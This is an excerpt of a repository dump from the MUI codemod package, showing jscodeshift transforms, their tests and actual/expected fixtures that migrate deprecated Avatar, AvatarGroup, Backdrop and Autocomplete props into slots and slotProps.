slotProps={{\n        ...params.slotProps,\n\n        input: {\n          ...params.slotProps.input,\n          endAdornment: (\n            <React.Fragment>\n              {params.slotProps.input.endAdornment}\n            </React.Fragment>\n          ),\n        }\n      }}\n    />\n  )}\n/>;\n\n<CustomAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      InputProps={{\n        ...params.InputProps,\n        endAdornment: (\n          <React.Fragment>\n            {params.InputProps.endAdornment}\n          </React.Fragment>\n        ),\n      }}\n    />\n  )}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiAutocomplete: {\n    defaultProps: {\n      ChipProps: { height: 10 },\n      PaperComponent: CustomPaper,\n      PopperComponent: CustomPopper,\n      ListboxComponent: CustomListbox,\n      ListboxProps: { height: 12 },\n      renderTags: (value, getTagProps, ownerState) =>\n        value.map((option, index) => (\n          <Chip label={option.label} data-focused={ownerState.focused} {...getTagProps({ index })} />\n        )),\n      componentsProps: {\n        clearIndicator: { width: 10 },\n        paper: { width: 12 },\n        popper: { width: 14 },\n        popupIndicator: { width: 16 },\n      }\n    },\n  },\n});\n\nfn({\n  MuiAutocomplete: {\n    defaultProps: {\n      ChipProps: { height: 10 },\n      PaperComponent: CustomPaper,\n      PopperComponent: CustomPopper,\n      ListboxComponent: CustomListbox,\n      ListboxProps: { height: 12 },\n      renderTags: (value, getTagProps, ownerState) =>\n        value.map((option, index) => (\n          <Chip label={option.label} data-focused={ownerState.focused} {...getTagProps({ index })} />\n        )),\n      slotProps: {\n        popupIndicator: { width: 20 }\n      },\n      componentsProps: {\n        clearIndicator: { width: 10 },\n        paper: { width: 12 },\n        popper: { width: 14 },\n        popupIndicator: { width: 16 },\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiAutocomplete: {\n    defaultProps: {\n      renderValue: (value, getItemProps, ownerState) =>\n        value.map((option, index) => (\n          <Chip label={option.label} data-focused={ownerState.focused} {...getItemProps({ index })} />\n        )),\n\n      slots: {\n        paper: CustomPaper,\n        popper: CustomPopper\n      },\n\n      slotProps: {\n        clearIndicator: { width: 10 },\n        paper: { width: 12 },\n        popper: { width: 14 },\n        popupIndicator: { width: 16 },\n        chip: { height: 10 },\n\n        listbox: {\n          component: CustomListbox,\n          ...{ height: 12 }\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiAutocomplete: {\n    defaultProps: {\n      renderValue: (value, getItemProps, ownerState) =>\n        value.map((option, index) => (\n          <Chip label={option.label} data-focused={ownerState.focused} {...getItemProps({ index })} />\n        )),\n\n      slotProps: {\n        clearIndicator: { width: 10 },\n        paper: { width: 12 },\n        popper: { width: 14 },\n\n        popupIndicator: {\n          ...{ width: 16 },\n          ...{ width: 20 }\n        },\n\n        chip: { height: 10 },\n\n        listbox: {\n          component: CustomListbox,\n          ...{ height: 12 }\n        }\n      },\n\n      slots: {\n        paper: CustomPaper,\n        popper: CustomPopper\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/avatar-group-props.js",
    "content": "import assignObject from '../../util/assignObject';\nimport findComponentJSX from '../../util/findComponentJSX';\nimport replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    componentName: 'AvatarGroup',\n    packageName: options.packageName,\n  });\n\n  // replace `slotProps.additionalAvatar` with `slotProps.surplus` in JSX\n  findComponentJSX(\n    j,\n    { root, componentName: 'AvatarGroup', packageName: options.packageName },\n    (elementPath) => {\n      const slotPropsIndex = elementPath.node.openingElement.attributes.findIndex(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'slotProps',\n      );\n      if (slotPropsIndex !== -1) {\n        const slotProps =\n          elementPath.node.openingElement.attributes[slotPropsIndex].value.expression;\n        const additionalAvatarIndex = slotProps.properties.findIndex(\n          (prop) => prop?.key?.name === 'additionalAvatar',\n        );\n        if (additionalAvatarIndex !== -1) {\n          const surplusIndex = slotProps.properties.findIndex(\n            (prop) => prop?.key?.name === 'surplus',\n          );\n          const removedValue = slotProps.properties.splice(additionalAvatarIndex, 1)[0].value;\n          if (surplusIndex === -1) {\n            assignObject(j, {\n              target: elementPath.node.openingElement.attributes[slotPropsIndex],\n              key: 'surplus',\n              expression: removedValue,\n            });\n          } else {\n            const slotPropsSlotValue = slotProps.properties.splice(surplusIndex, 1)[0].value;\n            assignObject(j, {\n              target: elementPath.node.openingElement.attributes[slotPropsIndex],\n              key: 'surplus',\n              expression: j.objectExpression([\n                j.spreadElement(removedValue),\n                j.spreadElement(slotPropsSlotValue),\n              ]),\n            });\n          }\n        }\n      }\n    },\n  );\n\n  // replace `slotProps.additionalAvatar` with `slotProps.surplus` in theme\n  root.find(j.ObjectProperty, { key: { name: 'MuiAvatarGroup' } }).forEach((path) => {\n    const defaultPropsIndex = path.value.value.properties.findIndex(\n      (key) => key.key.name === 'defaultProps',\n    );\n    if (defaultPropsIndex !== -1) {\n      const defaultProps = path.value.value.properties[defaultPropsIndex];\n      const slotPropsIndex = defaultProps.value.properties.findIndex(\n        (prop) => prop.key.name === 'slotProps',\n      );\n      if (slotPropsIndex !== -1) {\n        const slotProps = defaultProps.value.properties[slotPropsIndex];\n        const additionalAvatarIndex = slotProps.value.properties.findIndex(\n          (prop) => prop.key.name === 'additionalAvatar',\n        );\n        if (additionalAvatarIndex !== -1) {\n          const removedValue = slotProps.value.properties.splice(additionalAvatarIndex, 1)[0].value;\n          const surplusIndex = slotProps.value.properties.findIndex(\n            (prop) => prop.key.name === 'surplus',\n          );\n          if (surplusIndex === -1) {\n            slotProps.value.properties.push(\n              j.objectProperty(j.identifier('surplus'), removedValue),\n            );\n          } else {\n            const slotPropsSlotValue = slotProps.value.properties.splice(surplusIndex, 1)[0].value;\n            slotProps.value.properties.push(\n              j.objectProperty(\n                j.identifier('surplus'),\n                j.objectExpression([\n                  j.spreadElement(removedValue),\n                  j.spreadElement(slotPropsSlotValue),\n                ]),\n              ),\n            );\n          }\n        }\n      }\n    }\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/avatar-group-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './avatar-group-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('avatar-group-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] avatar-group-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] avatar-group-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/index.js",
    "content": "export { default } from './avatar-group-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/actual.js",
    "content": "import AvatarGroup from '@mui/material/AvatarGroup';\nimport { AvatarGroup as MyAvatarGroup } from '@mui/material';\n\n<AvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n<MyAvatarGroup\ncomponentsProps={{\n  additionalAvatar: {color: \"red\"},\n}}\n/>;\n<MyAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n  slotProps={{\n    additionalAvatar: {color: \"blue\"},\n  }}\n/>;\n<MyAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n  slotProps={{\n    additionalAvatar: {color: \"blue\"},\n    surplus: {color: \"yellow\"},\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/expected.js",
    "content": "import AvatarGroup from '@mui/material/AvatarGroup';\nimport { AvatarGroup as MyAvatarGroup } from '@mui/material';\n\n<AvatarGroup\n  slotProps={{\n    surplus: {color: \"red\"},\n  }}\n/>;\n<MyAvatarGroup\nslotProps={{\n  surplus: {color: \"red\"},\n}}\n/>;\n<MyAvatarGroup\n  slotProps={{\n    surplus: {\n      ...{color: \"red\"},\n      ...{color: \"blue\"}\n    },\n  }} />;\n<MyAvatarGroup\n  slotProps={{\n    surplus: {\n      ...{\n        ...{color: \"red\"},\n        ...{color: \"blue\"}\n      },\n\n      ...{color: \"yellow\"}\n    }\n  }} />;\n\n// should skip non MUI components\n<NonMuiAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/package.actual.js",
    "content": "import AvatarGroup from '@org/ui/material/AvatarGroup';\nimport { AvatarGroup as MyAvatarGroup } from '@org/ui/material';\n\n<AvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n<MyAvatarGroup\ncomponentsProps={{\n  additionalAvatar: {color: \"red\"},\n}}\n/>;\n<MyAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n  slotProps={{\n    additionalAvatar: {color: \"blue\"},\n  }}\n/>;\n<MyAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n  slotProps={{\n    additionalAvatar: {color: \"blue\"},\n    surplus: {color: \"yellow\"},\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/package.expected.js",
    "content": "import AvatarGroup from '@org/ui/material/AvatarGroup';\nimport { AvatarGroup as MyAvatarGroup } from '@org/ui/material';\n\n<AvatarGroup\n  slotProps={{\n    surplus: {color: \"red\"},\n  }}\n/>;\n<MyAvatarGroup\nslotProps={{\n  surplus: {color: \"red\"},\n}}\n/>;\n<MyAvatarGroup\n  slotProps={{\n    surplus: {\n      ...{color: \"red\"},\n      ...{color: \"blue\"}\n    },\n  }} />;\n<MyAvatarGroup\n  slotProps={{\n    surplus: {\n      ...{\n        ...{color: \"red\"},\n        ...{color: \"blue\"}\n      },\n\n      ...{color: \"yellow\"}\n    }\n  }} />;\n\n// should skip non MUI components\n<NonMuiAvatarGroup\n  componentsProps={{\n    additionalAvatar: {color: \"red\"},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      componentsProps: {\n        additionalAvatar: {color: \"red\"},\n      },\n    },\n  },\n});\n\nfn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      componentsProps: {\n        additionalAvatar: {color: \"red\"},\n      },\n      slotProps: {\n        additionalAvatar: {color: \"blue\"},\n      }\n    },\n  },\n});\n\nfn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      componentsProps: {\n        additionalAvatar: {color: \"red\"},\n      },\n      slotProps: {\n        additionalAvatar: {color: \"blue\"},\n        surplus: {color: \"yellow\"},\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-group-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      slotProps: {\n        surplus: {color: \"red\"}\n      }\n    },\n  },\n});\n\nfn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      slotProps: {\n        surplus: {\n          ...{color: \"red\"},\n          ...{color: \"blue\"}\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiAvatarGroup: {\n    defaultProps: {\n      slotProps: {\n        surplus: {\n          ...{\n            ...{color: \"red\"},\n            ...{color: \"blue\"}\n          },\n\n          ...{color: \"yellow\"}\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/avatar-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    componentName: 'Avatar',\n    propName: 'imgProps',\n    slotName: 'img',\n    packageName: options.packageName,\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/avatar-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './avatar-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('avatar-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] avatar-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] avatar-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/index.js",
    "content": "export { default } from './avatar-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/actual.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport { Avatar as MyAvatar } from '@mui/material';\n\n<Avatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n<MyAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n<MyAvatar\n  imgProps={{\n    onLoad: () => {},\n  }}\n  slotProps={{\n    img: {\n      onError: () => {},\n    },\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/expected.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport { Avatar as MyAvatar } from '@mui/material';\n\n<Avatar\n  slotProps={{\n    img: {\n      onError: () => {},\n      onLoad: () => {},\n    }\n  }}\n/>;\n<MyAvatar\n  slotProps={{\n    img: {\n      onError: () => {},\n      onLoad: () => {},\n    }\n  }}\n/>;\n<MyAvatar\n  slotProps={{\n    img: {\n      ...{\n        onLoad: () => {},\n      },\n\n      ...{\n        onError: () => {},\n      }\n    },\n  }} />;\n\n// should skip non MUI components\n<NonMuiAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/package.actual.js",
    "content": "import Avatar from '@org/ui/material/Avatar';\nimport { Avatar as MyAvatar } from '@org/ui/material';\n\n<Avatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n<MyAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n<MyAvatar\n  imgProps={{\n    onLoad: () => {},\n  }}\n  slotProps={{\n    img: {\n      onError: () => {},\n    },\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/package.expected.js",
    "content": "import Avatar from '@org/ui/material/Avatar';\nimport { Avatar as MyAvatar } from '@org/ui/material';\n\n<Avatar\n  slotProps={{\n    img: {\n      onError: () => {},\n      onLoad: () => {},\n    }\n  }}\n/>;\n<MyAvatar\n  slotProps={{\n    img: {\n      onError: () => {},\n      onLoad: () => {},\n    }\n  }}\n/>;\n<MyAvatar\n  slotProps={{\n    img: {\n      ...{\n        onLoad: () => {},\n      },\n\n      ...{\n        onError: () => {},\n      }\n    },\n  }} />;\n\n// should skip non MUI components\n<NonMuiAvatar\n  imgProps={{\n    onError: () => {},\n    onLoad: () => {},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiAvatar: {\n    defaultProps: {\n      imgProps: {\n        onError: () => {},\n        onLoad: () => {},\n      },\n    },\n  },\n});\n\nfn({\n  MuiAvatar: {\n    defaultProps: {\n      imgProps: {\n        onLoad: () => {},\n      },\n      slotProps: {\n        img: {\n          onError: () => {},\n        },\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/avatar-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiAvatar: {\n    defaultProps: {\n      slotProps: {\n        img: {\n          onError: () => {},\n          onLoad: () => {},\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiAvatar: {\n    defaultProps: {\n      slotProps: {\n        img: {\n          ...{\n            onLoad: () => {},\n          },\n\n          ...{\n            onError: () => {},\n          }\n        },\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/backdrop-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Backdrop',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Backdrop',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/backdrop-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './backdrop-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'backdrop-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: {\n            packageName: '@org/ui/material',\n          },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/index.js",
    "content": "export { default } from './backdrop-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/actual.js",
    "content": "import Backdrop from '@mui/material/Backdrop';\nimport { Backdrop as MyBackdrop } from '@mui/material';\n\n<Backdrop TransitionComponent={CustomTransition} />;\n<MyBackdrop TransitionComponent={CustomTransition} />;\n<Backdrop\n  TransitionComponent={CustomTransition}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MyBackdrop\n  TransitionComponent={CustomTransition}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Backdrop\n  TransitionComponent={ComponentTransition}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiBackdrop TransitionComponent={CustomTransition} />;\n\n<Backdrop components={{ Root: ComponentsRoot }} componentsProps={{ root: componentsRootProps }} />;\n<MyBackdrop components={{ Root: ComponentsRoot }} slotProps={{ root: slotsRootProps }} />;\n<Backdrop slots={{ root: SlotsRoot }} componentsProps={{ root: componentsRootProps }} />;\n<MyBackdrop\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n// should skip non MUI components\n<NonMuiBackdrop components={{ Root: ComponentsRoot }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/expected.js",
    "content": "import Backdrop from '@mui/material/Backdrop';\nimport { Backdrop as MyBackdrop } from '@mui/material';\n\n<Backdrop slots={{\n  transition: CustomTransition\n}} />;\n<MyBackdrop slots={{\n  transition: CustomTransition\n}} />;\n<Backdrop\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }} />;\n<MyBackdrop\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }} />;\n<Backdrop\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }} />;\n\n// should skip non MUI components\n<NonMuiBackdrop TransitionComponent={CustomTransition} />;\n\n<Backdrop slots={{\n  root: ComponentsRoot\n}} slotProps={{ root: componentsRootProps }} />;\n<MyBackdrop slotProps={{ root: slotsRootProps }} slots={{\n  root: ComponentsRoot\n}} />;\n<Backdrop slots={{ root: SlotsRoot }} slotProps={{ root: componentsRootProps }} />;\n<MyBackdrop\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n\n// should skip non MUI components\n<NonMuiBackdrop components={{ Root: ComponentsRoot }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/package.actual.js",
    "content": "import Backdrop from '@org/ui/material/Backdrop';\nimport { Backdrop as MyBackdrop } from '@org/ui/material';\n\n<Backdrop TransitionComponent={CustomTransition} />;\n<MyBackdrop TransitionComponent={CustomTransition} />;\n<Backdrop\n  TransitionComponent={CustomTransition}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MyBackdrop\n  TransitionComponent={CustomTransition}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Backdrop\n  TransitionComponent={ComponentTransition}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiBackdrop TransitionComponent={CustomTransition} />;\n\n<Backdrop components={{ Root: ComponentsRoot }} componentsProps={{ root: componentsRootProps }} />;\n<MyBackdrop components={{ Root: ComponentsRoot }} slotProps={{ root: slotsRootProps }} />;\n<Backdrop slots={{ root: SlotsRoot }} componentsProps={{ root: componentsRootProps }} />;\n<MyBackdrop\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n// should skip non MUI components\n<NonMuiBackdrop components={{ Root: ComponentsRoot }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/package.expected.js",
    "content": "import Backdrop from '@org/ui/material/Backdrop';\nimport { Backdrop as MyBackdrop } from '@org/ui/material';\n\n<Backdrop slots={{\n  transition: CustomTransition\n}} />;\n<MyBackdrop slots={{\n  transition: CustomTransition\n}} />;\n<Backdrop\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }} />;\n<MyBackdrop\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }} />;\n<Backdrop\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }} />;\n\n// should skip non MUI components\n<NonMuiBackdrop TransitionComponent={CustomTransition} />;\n\n<Backdrop slots={{\n  root: ComponentsRoot\n}} slotProps={{ root: componentsRootProps }} />;\n<MyBackdrop slotProps={{ root: slotsRootProps }} slots={{\n  root: ComponentsRoot\n}} />;\n<Backdrop slots={{ root: SlotsRoot }} slotProps={{ root: componentsRootProps }} />;\n<MyBackdrop\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n\n// should skip non MUI components\n<NonMuiBackdrop components={{ Root: ComponentsRoot }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiBackdrop: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      slots: {\n        root: 'div',\n      },\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      TransitionComponent: ComponentTransition,\n      slots: {\n        root: 'div',\n        transition: SlotTransition\n      },\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/backdrop-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: CustomTransition\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: SlotTransition\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot\n      },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slotProps: { root: slotsRootProps },\n\n      slots: {\n        root: ComponentsRoot\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiBackdrop: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/badge-props.js",
